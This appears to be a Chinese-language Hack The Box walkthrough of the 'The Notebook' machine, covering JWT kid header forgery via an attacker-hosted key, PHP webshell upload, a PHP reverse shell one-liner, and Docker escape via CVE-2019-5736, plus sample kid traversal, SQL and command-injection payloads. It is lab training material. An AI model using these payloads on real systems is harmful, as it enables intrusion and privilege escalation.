Hack the box<The Note Book> Walkthrough

admin 2021年11月24日23:58:15评论81 views字数 2934阅读9分46秒阅读模式

Hack the box 简介


Hack the box (后简称htb)是一个在线靶场平台,主要用于训练渗透测试能力, htb大部分题目更贴近real life ,每一个题目都会有偏向图。

Hack the box<The Note Book> Walkthrough

官方网站:https://www.hackthebox.eu/

更多介绍可以直接去体验或参考: https://zhuanlan.zhihu.com/p/98483328

一些不成熟的小建议:如果你是CTF选手,建议还是选择专门的CTF靶场进行训练,部分CVE题目,国外常使用的一些cms 或组件,国内用的并不多,推荐多做偏向real-life的题目。另外,在网上有公开答案之前,不要在互联网直接公开writeup ,实在做不出来了,可以去看看官方论坛或者twitter上向老外请教,最后才是去看答案噢。我在做完本文题目的时候是没有答案的,且只有13个人做出来,嘿嘿,还是有点厉害的吧!

Web部分


1、起手一定是

nmap 80 22

Hack the box<The Note Book> Walkthrough


2、80访问,让我注册,注册的时候admin 账号已经不能用了,随便注册账号 进去以后添加个Note ,感觉没啥梗。

Hack the box<The Note Book> Walkthrough

Hack the box<The Note Book> Walkthrough

Hack the box<The Note Book> Walkthrough

Hack the box<The Note Book> Walkthrough

3、账号的标识a615751d-853c-4006-8d83-1c4c54e64b4c 没啥梗。

4、组件信息没啥梗。

Hack the box<The Note Book> Walkthrough


5、从拿到的信息来分析,这题大概率和jwt 有关,注入之类的可能不是考点。

http://localhost:7070/privKey.key 有点扎眼。

Hack the box<The Note Book> Walkthrough

6、跑了下目录 ,发现有个/admin 是403。

Hack the box<The Note Book> Walkthrough

7、重置系统后发现admin账号是默认存在的。

Hack the box<The Note Book> Walkthrough

8、另一个方向就是爆破admin密码了,目前就这两条路,但是我看到一血只用了26分钟,大概率不是爆破吧,试了下简单的弱口令没爆出来,这条路放弃。

9、常规漏洞扫了一下,没发现有意义的漏洞。

10、经过了一波有的没的无效操作,最终还是得聚焦jwt ,主要我对jwt kid这个功能一无所知,如果你能get到这个的风险,26分钟以内做出来就很合理了。

11、在国内搜一哈jwt存在的安全风险:

https://zhuanlan.zhihu.com/p/93129166

发现走不通,而且都没有讲到Kid 相关的内容。

12、google 搜索jwt kid exploit 打开新思路,发现kid 参数问题多多。

https://blog.pentesteracademy.com/hacking-jwt-tokens-kid-claim-misuse-command-injection-e7f5b9def146

kid 的commandinjection ,KID代表“密钥ID”。它是JWT中的可选标头字段,它使开发人员可以指定用于验证令牌的密钥。

操作方法如下:

1、Directory traversal
“kid”: “…/…/public/css/main.css” // usethe publicly available file main.css to verify the token
2、sqlinjection
“kid”: “aaaaaaa’ UNIONSELECT’key’;–”// use the string “key” to verify the token
3、command injection
“key_file” | whoami;
13、发现有个jwttools 工具,非常强大

可以扫描常见的jwt风险:

https://github.com/ticarpi/jwt_tool/wiki/Using-jwt_tool

14、JWT 伪造 ,成功突破。

首次运行 JWTTOOLS 会自动生成一些配置文件,其中就有RSA 的公钥和私钥。

Hack the box<The Note Book> Walkthrough

使用 JWTTOOL的公钥和私钥 生成签名,在jwttool 目录下,起一个python3 -m http.server 服务,再将kid 的值指向服务:http://xx.xx.xx:8000/jwttool_custom_private_RSA.pem,生成的token 成功访问了admin 页面。

Hack the box<The Note Book> Walkthrough

Hack the box<The Note Book> Walkthrough

Hack the box<The Note Book> Walkthrough

Hack the box<The Note Book> Walkthrough

Hack the box<The Note Book> Walkthrough

Hack the box<The Note Book> Walkthrough

15、翻阅他的note从need to fixconfig 看出 可以上传php 文件。传一个phpinfo 没毛病。

Hack the box<The Note Book> Walkthrough


16、传马 get shell。

Hack the box<The Note Book> Walkthrough


17、 php 弹shell 到本机。

php-r’$sock=fsockopen(“10.0.0.1”,1234);exec("/bin/sh -i<&3>&3 2>&3");’
18、whoami 发现只是个小鸡崽用户,在Home 里发现了Noah 用户,无权限。

19、第一个想到的是note 里写的情书?试了几个密码都不对。

Hack the box<The Note Book> Walkthrough


20、第二个Note里写的。

Hack the box<The Note Book> Walkthrough

21、找到备份文件夹 起个python 下载。'

Hack the box<The Note Book> Walkthrough

22、解压出来后发现 sshkey,

Hack the box<The Note Book> Walkthroughsshcat user 成功

Hack the box<The Note Book> Walkthrough


Linux 提权部分


1、ssh 连进去以后,先上个linpeas 跑一波看看:

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS

2、另外连进去后,显示了乌班图版本, 顺手搜一下:

Welcome to Ubuntu 18.04.5 LTS(GNU/Linux4.15.0-135-generic x86_64)
https://blog.csdn.net/k8gege/article/details/112914668

好像是说有CVE ,也在受影响版本内,试一哈。结果失败。

Hack the box<The Note Book> Walkthrough

3、看Linepeas:

Hack the box<The Note Book> Walkthrough


Sudo version 1.8.21p2
CVE-2021-3156
这个返回应该是不存在漏洞。

Hack the box<The Note Book> Walkthrough

4、继续看看sudo 发现

(ALL) NOPASSWD: /usr/bin/docker exec -itwebapp-dev01*

Hack the box<The Note Book> Walkthrough

5、sudo 进容器:

sudo /usr/bin/docker exec -it webapp-dev01/bin/bash

Hack the box<The Note Book> Walkthrough

只要能够容器逃逸,就拿到root 了。

搜索,找到https://www.cnblogs.com/xiaozi/p/13377619.html。

CVE-2019-5736。

查看版本符合条件 ,整!

docker --version
Docker version 18.06.0-ce, build 0ffa825
docker-runc --versionrunc version
1.0.0-rc5+dev
commit:69663f0bd4b60df09991c08812a60108003fa340
spec: 1.0.0
下载Poc gobuild 编译,修改一下exp 。

https://github.com/Frichetten/CVE-2019-5736-PoC

wget 下载main ,赋权 ,运行。运行前 要再开一个ssh 连接 。

运行的同时,另外一个连接进入容器。

sudo /usr/bin/docker exec -it webapp-dev01/bin/sh
这里有个小坑,如果失败要多试几次,尽量在mainexp 运行后,立马让另一个连接 进入容器,最终拿到root权限。

知识点总结:

1、 jwt kid 相关漏洞

2、jwt tools 工具使用

3、 docker逃逸CVE-2019-5736



本文始发于微信公众号(顺丰安全应急响应中心):Hack the box<The Note Book> Walkthrough

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年11月24日23:58:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Hack the box<The Note Book> Walkthroughhttps://cn-sec.com/archives/413648.html

发表评论

匿名网友 填写信息